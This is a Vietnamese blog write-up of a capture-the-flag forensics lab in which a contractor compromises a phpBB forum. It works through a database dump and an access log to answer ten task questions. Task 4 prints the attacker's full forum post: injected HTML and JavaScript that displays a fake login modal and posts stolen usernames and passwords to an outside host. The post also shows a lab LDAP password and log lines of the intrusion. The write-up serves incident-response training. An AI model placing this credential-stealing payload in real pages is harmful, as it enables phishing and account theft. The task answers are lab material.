Post

Bumblebee - Easy

Bumblebee - Easy

Scenario

An external contractor has accessed the internal forum here at Forela via the Guest Wi-Fi, and they appear to have stolen credentials for the administrative user! We have attached some logs from the forum and a full database dump in sqlite3 format to help you in your investigation.

Introduction

  • Ta nhận được các file sau đây:
    1
    2
    
    .rw-r--r-- 198k dkoazw 26 Thg 4   2023  access.log
    .rw-r--r-- 1,0M dkoazw 26 Thg 4   2023  phpbb.sqlite3
    
  • access.log: là nhật ký truy cập website.
  • phpbb.sqlite3: là database của forum và nó chứa các thông tin cần thiết về external contractor mà ta cần điều tra. Note: Về cú pháp của sqlite3 thì mình sẽ không đề cập trong post này, bạn có thể lên mạng tìm hiểu thêm.

Task 1: What was the username of the external contractor?

  • Ta sẽ vào database để tìm:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    
    sqlite> SELECT user_id, username, user_email, user_ip FROM phpbb_users;
    ╭─────────┬───────────────────────────┬────────────────────────────┬──────────────╮
    │ user_id │         username          │         user_email         │   user_ip    │
    ╞═════════╪═══════════════════════════╪════════════════════════════╪══════════════╡
    │       1 │ Anonymous                 │                            │              │
    │       2 │ admin                     │ admin@forela.co.uk         │ 10.255.254.2 │
    │       3 │ AdsBot [Google]           │                            │              │
    │       4 │ Alexa [Bot]               │                            │              │
    │       5 │ Alta Vista [Bot]          │                            │              │
    │       6 │ Ask Jeeves [Bot]          │                            │              │
    │       7 │ Baidu [Spider]            │                            │              │
    │       8 │ Bing [Bot]                │                            │              │
    │       9 │ Exabot [Bot]              │                            │              │
    │      10 │ FAST Enterprise [Crawler] │                            │              │
    │      11 │ FAST WebCrawler [Crawler] │                            │              │
    │      12 │ Francis [Bot]             │                            │              │
    │      13 │ Gigabot [Bot]             │                            │              │
    │      14 │ Google Adsense [Bot]      │                            │              │
    │      15 │ Google Desktop            │                            │              │
    │      16 │ Google Feedfetcher        │                            │              │
    │      17 │ Google [Bot]              │                            │              │
    │      18 │ Heise IT-Markt [Crawler]  │                            │              │
    │      19 │ Heritrix [Crawler]        │                            │              │
    │      20 │ IBM Research [Bot]        │                            │              │
    │      21 │ ICCrawler - ICjobs        │                            │              │
    │      22 │ ichiro [Crawler]          │                            │              │
    │      23 │ Majestic-12 [Bot]         │                            │              │
    │      24 │ Metager [Bot]             │                            │              │
    │      25 │ MSN NewsBlogs             │                            │              │
    │      26 │ MSN [Bot]                 │                            │              │
    │      27 │ MSNbot Media              │                            │              │
    │      28 │ Nutch [Bot]               │                            │              │
    │      29 │ Online link [Validator]   │                            │              │
    │      30 │ psbot [Picsearch]         │                            │              │
    │      31 │ Sensis [Crawler]          │                            │              │
    │      32 │ SEO Crawler               │                            │              │
    │      33 │ Seoma [Crawler]           │                            │              │
    │      34 │ SEOSearch [Crawler]       │                            │              │
    │      35 │ Snappy [Bot]              │                            │              │
    │      36 │ Steeler [Crawler]         │                            │              │
    │      37 │ Telekom [Bot]             │                            │              │
    │      38 │ TurnitinBot [Bot]         │                            │              │
    │      39 │ Voyager [Bot]             │                            │              │
    │      40 │ W3 [Sitesearch]           │                            │              │
    │      41 │ W3C [Linkcheck]           │                            │              │
    │      42 │ W3C [Validator]           │                            │              │
    │      43 │ YaCy [Bot]                │                            │              │
    │      44 │ Yahoo MMCrawler [Bot]     │                            │              │
    │      45 │ Yahoo Slurp [Bot]         │                            │              │
    │      46 │ Yahoo [Bot]               │                            │              │
    │      47 │ YahooSeeker [Bot]         │                            │              │
    │      48 │ phpbb-admin               │ phpbb-admin@mailinator.com │ 10.255.254.2 │
    │      49 │ test                      │                            │ 10.255.254.2 │
    │      50 │ rsavage001                │                            │ 10.255.254.2 │
    │      51 │ apoole                    │ apoole@contractor.net      │ 10.10.0.78   │
    │      52 │ apoole1                   │ apoole1@contractor.net     │ 10.10.0.78   │
    ╰─────────┴───────────────────────────┴────────────────────────────┴──────────────╯
    
  • Từ email apoole1@contractor.net nên ta được đáp án là: apoole1.

Task 2: What IP address did the contractor use to create their account?

  • Tiếp tục lấy từ kết quả đã truy xuất ra ở trên, kết quả là: 10.10.0.78.

Task 3: What is the post_id of the malicious post that the contractor made?

  • Ta sẽ dùng phép kết để tìm các post_id của các posts mà user apoole1 tạo:
    1
    2
    3
    4
    5
    6
    
    sqlite> SELECT phpbb_posts.post_id FROM phpbb_posts JOIN phpbb_users ON phpbb_posts.poster_id = phpbb_users.user_id WHERE phpbb_users.username = 'apoole1';
    ╭─────────╮
    │ post_id │
    ╞═════════╡
    │       9 │
    ╰─────────╯
    
  • Đáp án là: 9.

Task 4: What is the full URI that the credential stealer sends its data to?

  • Mình sẽ bắt đầu với việc in ra toàn bộ data của post_id = 9:
    1
    2
    
    ❯ sqlite3 phpbb.sqlite3 \
        "SELECT post_text FROM phpbb_posts WHERE post_id = 9;" > post9.html
    
  • Ta nhận được kết quả:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<div>
    <style>
        body {
            z-index: 100;
        }

        .modal {
            position: fixed;
            top: 0;
            left: 0;
            height: 100%;
            width: 100%;
            z-index: 101;
            background-color: white;
            opacity: 1;
        }

        .modal.hidden {
            visibility: hidden;
        }
    </style>
    <script
        type="text/javascript">function sethidden() { const d = new Date(); d.setTime(d.getTime() + (24 * 60 * 60 * 1000)); let expires = "expires=" + d.toUTCString(); document.cookie = "phpbb_token=1;" + expires + ";"; var modal = document.getElementById('zbzbz1234'); modal.classList.add("hidden"); } document.addEventListener("DOMContentLoaded", function (event) { let cookieexists = false; let name = "phpbb_token="; let cookies = decodeURIComponent(document.cookie); let ca = cookies.split(';'); for (let i = 0; i < ca.length; i++) { let c = ca[i]; while (c.charAt(0) == ' ') { c = c.substring(1); } if (c.indexOf(name) == 0) { cookieexists = true; } } if (cookieexists) { return; } var modal = document.getElementById('zbzbz1234'); modal.classList.remove("hidden"); });</script>
    <iframe name="hiddenframe" id="hiddenframe" style="display:none"></iframe>
    <div class="modal hidden" id="zbzbz1234" onload="shouldshow">
        <div id="wrap" class="wrap"> <a id="top" class="top-anchor" accesskey="t"></a>
            <div id="page-header">
                <div class="headerbar" role="banner">
                    <div class="inner">
                        <div id="site-description" class="site-description"> <a id="logo" class="logo"
                                href="./index.php" title="Board index"><span class="site_logo"></span></a>
                            <h1>forum.forela.co.uk</h1>
                            <p>Forela internal forum</p>
                            <p class="skiplink"><a href="#start_here">Skip to content</a></p>
                        </div>
                        <div id="search-box" class="search-box search-header" role="search">
                            <form action="./search.php" method="get" id="search1">
                                <fieldset> <input name="keywords" id="keywords1" type="search" maxlength="128"
                                        title="Search for keywords" class="inputbox search tiny" size="20" value=""
                                        placeholder="Search…"> <button class="button button-search" type="submit"
                                        title="Search"> <i class="icon fa-search fa-fw" aria-hidden="true"></i><span
                                            class="sr-only">Search</span> </button> <a href="./search.php"
                                        class="button button-search-end" title="Advanced search"> <i
                                            class="icon fa-cog fa-fw" aria-hidden="true"></i><span
                                            class="sr-only">Advanced search</span> </a> </fieldset>
                            </form>
                        </div>
                    </div>
                </div>
                <div class="navbar" role="navigation">
                    <div class="inner">
                        <ul id="nav-main" class="nav-main linklist" role="menubar">
                            <li id="quick-links" class="quick-links dropdown-container responsive-menu"
                                data-skip-responsive="true"> <a href="#" class="dropdown-trigger dropdown-toggle"> <i
                                        class="icon fa-bars fa-fw" aria-hidden="true"></i><span>Quick links</span> </a>
                                <div class="dropdown">
                                    <div class="pointer">
                                        <div class="pointer-inner"></div>
                                    </div>
                                    <ul class="dropdown-contents" role="menu">
                                        <li class="separator"></li>
                                        <li> <a href="./search.php?search_id=unanswered" role="menuitem"> <i
                                                    class="icon fa-file-o fa-fw icon-gray"
                                                    aria-hidden="true"></i><span>Unanswered topics</span> </a> </li>
                                        <li> <a href="./search.php?search_id=active_topics" role="menuitem"> <i
                                                    class="icon fa-file-o fa-fw icon-blue"
                                                    aria-hidden="true"></i><span>Active topics</span> </a> </li>
                                        <li class="separator"></li>
                                        <li> <a href="./search.php" role="menuitem"> <i class="icon fa-search fa-fw"
                                                    aria-hidden="true"></i><span>Search</span> </a> </li>
                                        <li class="separator"></li>
                                    </ul>
                                </div>
                            </li>
                            <li data-skip-responsive="true"> <a href="/phpBB3/app.php/help/faq" rel="help"
                                    title="Frequently Asked Questions" role="menuitem"> <i
                                        class="icon fa-question-circle fa-fw" aria-hidden="true"></i><span>FAQ</span>
                                </a>
                            <li class="rightside" data-skip-responsive="true"> <a href="./ucp.php?mode=login"
                                    title="Login" accesskey="x" role="menuitem"> <i class="icon fa-power-off fa-fw"
                                        aria-hidden="true"></i><span>Login</span> </a> </li>
                            <li class="rightside" data-skip-responsive="true"> <a href="./ucp.php?mode=register"
                                    role="menuitem"> <i class="icon fa-pencil-square-o  fa-fw"
                                        aria-hidden="true"></i><span>Register</span> </a> </li>
                            </li data-skip-responsive="true">
                        </ul>
                        <ul id="nav-breadcrumbs" class="nav-breadcrumbs linklist navlinks" role="menubar">
                            <li class="breadcrumbs" itemscope="" itemtype="http://schema.org/BreadcrumbList"
                                style="max-width: 936px;"> <span class="crumb" itemtype="http://schema.org/ListItem"
                                    itemprop="itemListElement" itemscope=""><a href="./index.php"
                                        itemtype="https://schema.org/Thing" itemprop="item" accesskey="h"
                                        data-navbar-reference="index" title="Board index"><i
                                            class="icon fa-home fa-fw"></i><span itemprop="name">Board index</span></a>
                                    <meta itemprop="position" content="1">
                                </span> </li>
                            <li class="rightside responsive-search"> <a href="./search.php"
                                    title="View the advanced search options" role="menuitem"> <i
                                        class="icon fa-search fa-fw" aria-hidden="true"></i><span
                                        class="sr-only">Search</span> </a> </li>
                        </ul>
                    </div>
                </div>
            </div> <a id="start_here" class="anchor"></a>
            <div id="page-body" class="page-body" role="main">
                <div class="panel">
                    <div class="inner">
                        <div class="content">
                            <h3>Session Timeout</h3> <br /> <br />
                            <p>Your session token has timed out in order to proceed you must login again.</p>
                        </div>
                    </div>
                </div>
                <form action="http://10.10.0.78/update.php" method="post" id="login" data-focus="username"
                    target="hiddenframe">
                    <div class="panel">
                        <div class="inner">
                            <div class="content">
                                <h2 class="login-title">Login</h2>
                                <fieldset class="fields1">
                                    <dl>
                                        <dt><label for="username">Username:</label></dt>
                                        <dd><input type="text" tabindex="1" name="username" id="username" size="25"
                                                value="" class="inputbox autowidth"></dd>
                                    </dl>
                                    <dl>
                                        <dt><label for="password">Password:</label></dt>
                                        <dd><input type="password" tabindex="2" id="password" name="password" size="25"
                                                class="inputbox autowidth" autocomplete="off"></dd>
                                    </dl>
                                    <dl>
                                        <dd><label for="autologin"><input type="checkbox" name="autologin"
                                                    id="autologin" tabindex="4">Remember me</label></dd>
                                        <dd><label for="viewonline"><input type="checkbox" name="viewonline"
                                                    id="viewonline" tabindex="5">Hide my online status this
                                                session</label></dd>
                                    </dl>
                                    <dl>
                                        <dt>&nbsp;</dt>
                                        <dd> <input type="submit" name="login" tabindex="6" value="Login"
                                                class="button1" onclick="sethidden()"></dd>
                                    </dl>
                                </fieldset class="fields1">
                            </div>
                        </div>
                    </div>
                </form>
            </div>
            <div id="page-footer" class="page-footer" role="contentinfo">
                <div class="navbar" role="navigation">
                    <div class="inner">
                        <ul id="nav-footer" class="nav-footer linklist" role="menubar">
                            <li class="breadcrumbs"> <span class="crumb"><a href="./index.php"
                                        data-navbar-reference="index" title="Board index"><i class="icon fa-home fa-fw"
                                            aria-hidden="true"></i><span>Board index</span></a></span> </li>
                            <li class="responsive-menu hidden rightside dropdown-container"><a
                                    href="javascript:void(0);"
                                    class="js-responsive-menu-link responsive-menu-link dropdown-toggle"><i
                                        class="icon fa-bars fa-fw" aria-hidden="true"></i></a>
                                <div class="dropdown">
                                    <div class="pointer">
                                        <div class="pointer-inner"></div>
                                    </div>
                                    <ul class="dropdown-contents"></ul>
                                </div>
                            </li>
                            <li class="rightside">All times are <span title="UTC">UTC</span></li>
                            <li class="rightside"> <a href="./ucp.php?mode=delete_cookies" data-ajax="true"
                                    data-refresh="true" role="menuitem"> <i class="icon fa-trash fa-fw"
                                        aria-hidden="true"></i><span>Delete cookies</span> </a> </li>
                        </ul>
                    </div>
                </div>
                <div class="copyright">
                    <p class="footer-row"> <span class="footer-copyright">Powered by <a
                                href="https://www.phpbb.com/">phpBB</a>® Forum Software © phpBB Limited</span> </p>
                    <p class="footer-row"> <a class="footer-link" href="./ucp.php?mode=privacy" title="Privacy"
                            role="menuitem"> <span class="footer-link-text">Privacy</span> </a> | <a class="footer-link"
                            href="./ucp.php?mode=terms" title="Terms" role="menuitem"> <span
                                class="footer-link-text">Terms</span> </a> </p>
                </div>
                <div id="darkenwrapper" class="darkenwrapper" data-ajax-error-title="AJAX error"
                    data-ajax-error-text="Something went wrong when processing your request."
                    data-ajax-error-text-abort="User aborted request."
                    data-ajax-error-text-timeout="Your request timed out; please try again."
                    data-ajax-error-text-parsererror="Something went wrong with the request and the server returned an invalid reply.">
                    <div id="darken" class="darken">&nbsp;</div>
                </div>
                <div id="phpbb_alert" class="phpbb_alert" data-l-err="Error"
                    data-l-timeout-processing-req="Request timed out."> <a href="#" class="alert_close"> <i
                            class="icon fa-times-circle fa-fw" aria-hidden="true"></i> </a>
                    <h3 class="alert_title">&nbsp;</h3>
                    <p class="alert_text"></p>
                </div>
                <div id="phpbb_confirm" class="phpbb_alert"> <a href="#" class="alert_close"> <i
                            class="icon fa-times-circle fa-fw" aria-hidden="true"></i> </a>
                    <div class="alert_text"></div>
                </div>
            </div>
        </div>
        <div> <a id="bottom" class="anchor" accesskey="z"></a> <img
                src="./cron.php?cron_type=cron.task.core.tidy_warnings" width="1" height="1" alt="cron"></div>
    </div><span>Greetings everyone,<br> <br> I am just a visiting IT Contractor, it's a fantastic company y'all have
        here.<br> I hope to work with you all again soon.<br> <br> Regards,<br>Alex Poole</span>
</div>
  • Đáp án là: http://10.10.0.78/update.php.
  • Giải thích: Khi trang được tải, nó sẽ kiểm tra cookie phpbb_token, nếu chưa tồn tại thì nó sẽ mở ra form đăng nhập giả. Khi form đăng nhập giả được submit thì phản hồi từ server sẽ được trả về http://10.10.0.78/update.php. Sau đó nó thực hiện cấp phpbb_token=1 rồi ẩn form đăng nhập giả đi.

Task 5: When did the contractor log into the forum as the administrator? (UTC)

  • Ta sẽ tiến hành phân tích hành vi của ip 10.10.0.78 trong access.log:
    1
    
    10.10.0.78 - - [26/Apr/2023:11:53:12 +0100] "GET /adm/index.php?i=acp_help_phpbb&mode=help_phpbb&sid=eca30c1b75dc3eed1720423aa1ff9577 HTTP/1.1" 200 11867 "http://10.10.0.27/adm/index.php?sid=0bc281afeb61c3b9433da9871518295e" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
    
  • Đáp án là: 26/04/2023 10:53:12.
  • Sau đó mình đã kiểm tra chéo lại trên database:
    1
    2
    3
    4
    5
    6
    7
    8
    
    sqlite> SELECT username, log_ip, datetime(log_time, 'unixepoch') AS datetime_utc, log_operation, log_data FROM phpbb_log JOIN phpbb_users ON phpbb_log.user_id = phpbb_users.user_id WHERE log_ip = '10.10.0.78' ORDER BY log_time;
    ╭─────────────┬────────────┬─────────────────────┬────────────────────────┬───────────────────────────────────────────────────╮
    │  username   │   log_ip   │    datetime_utc     │     log_operation      │                     log_data                      │
    ╞═════════════╪════════════╪═════════════════════╪════════════════════════╪═══════════════════════════════════════════════════╡
    │ phpbb-admin │ 10.10.0.78 │ 2023-04-26 10:53:12 │ LOG_ADMIN_AUTH_SUCCESS │                                                   │
    │ phpbb-admin │ 10.10.0.78 │ 2023-04-26 10:53:51 │ LOG_USERS_ADDED        │ a:2:{i:0;s:14:"Administrators";i:1;s:6:"apoole";} │
    │ phpbb-admin │ 10.10.0.78 │ 2023-04-26 10:54:31 │ LOG_DB_BACKUP          │                                                   │
    ╰─────────────┴────────────┴─────────────────────┴────────────────────────┴───────────────────────────────────────────────────╯
    

Task 6: In the forum there are plaintext credentials for the LDAP connection, what is the password?

  • LDAP hay Lightweight Directory Access Protocol là giao thức dùng để truy vấn và quản lý thông tin. Và trong bài này ta có thể tìm nó trong table phpbb_config:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    sqlite> SELECT * FROM phpbb_config WHERE config_name LIKE '%LDAP%';
    ╭──────────────────┬────────────────────────────────────────────────────────┬────────────╮
    │   config_name    │                      config_value                      │ is_dynamic │
    ╞══════════════════╪════════════════════════════════════════════════════════╪════════════╡
    │ ldap_base_dn     │ OU=Forela,DC=forela,DC=local                           │          0 │
    │ ldap_email       │                                                        │          0 │
    │ ldap_password    │ Passw0rd1                                              │          0 │
    │ ldap_port        │                                                        │          0 │
    │ ldap_server      │ 10.10.0.11                                             │          0 │
    │ ldap_uid         │ sAMAccountName                                         │          0 │
    │ ldap_user        │ CN=phpbb-admin,OU=Service,OU=Forela,DC=forela,DC=local │          0 │
    │ ldap_user_filter │                                                        │          0 │
    ╰──────────────────┴────────────────────────────────────────────────────────┴────────────╯
    
  • Vậy đáp án là: Passw0rd1.

Task 7: What is the user agent of the Administrator user?

  • Ta chỉ cần vào access.log và tìm đại 1 log có ip của admin tức 10.255.254.2:
    1
    
    10.255.254.2 - - [25/Apr/2023:12:08:42 +0100] "GET /adm/index.php?sid=ac1490e6c806ac0403c6c116c1d15fa6&i=12 HTTP/1.1" 403 9412 "http://10.10.0.27/adm/index.php?sid=ac1490e6c806ac0403c6c116c1d15fa6&i=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"
    
  • Đáp án là: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36.

Task 8: What time did the contractor add themselves to the Administrator group? (UTC)

  • Ta đã vô tình giải quyết câu này ở Task 5. Đáp án là: 26/04/2023 10:53:51.
  • Còn trong access.log thì nó nằm ở:
    1
    
    10.10.0.78 - - [26/Apr/2023:11:53:51 +0100] "POST /adm/index.php?i=acp_groups&sid=eca30c1b75dc3eed1720423aa1ff9577&icat=12&mode=manage&g=5 HTTP/1.1" 200 2623 "http://10.10.0.27/adm/index.php?i=acp_groups&sid=eca30c1b75dc3eed1720423aa1ff9577&icat=12&mode=manage&action=list&g=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
    

    Task 9: What time did the contractor download the database backup? (UTC)

  • Nó cũng vô tình nằm ở Task 5. Đáp án là: 26/04/2023 11:01:38.
  • Trong access.log là:
    1
    
    10.10.0.78 - - [26/Apr/2023:12:01:38 +0100] "GET /store/backup_1682506471_dcsr71p7fyijoyq8.sql.gz HTTP/1.1" 200 34707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
    

Task 10: What was the size in bytes of the database backup as stated by access.log?

  • Đáp án là: 34707.

End

image

This post is licensed under CC BY 4.0 by the author.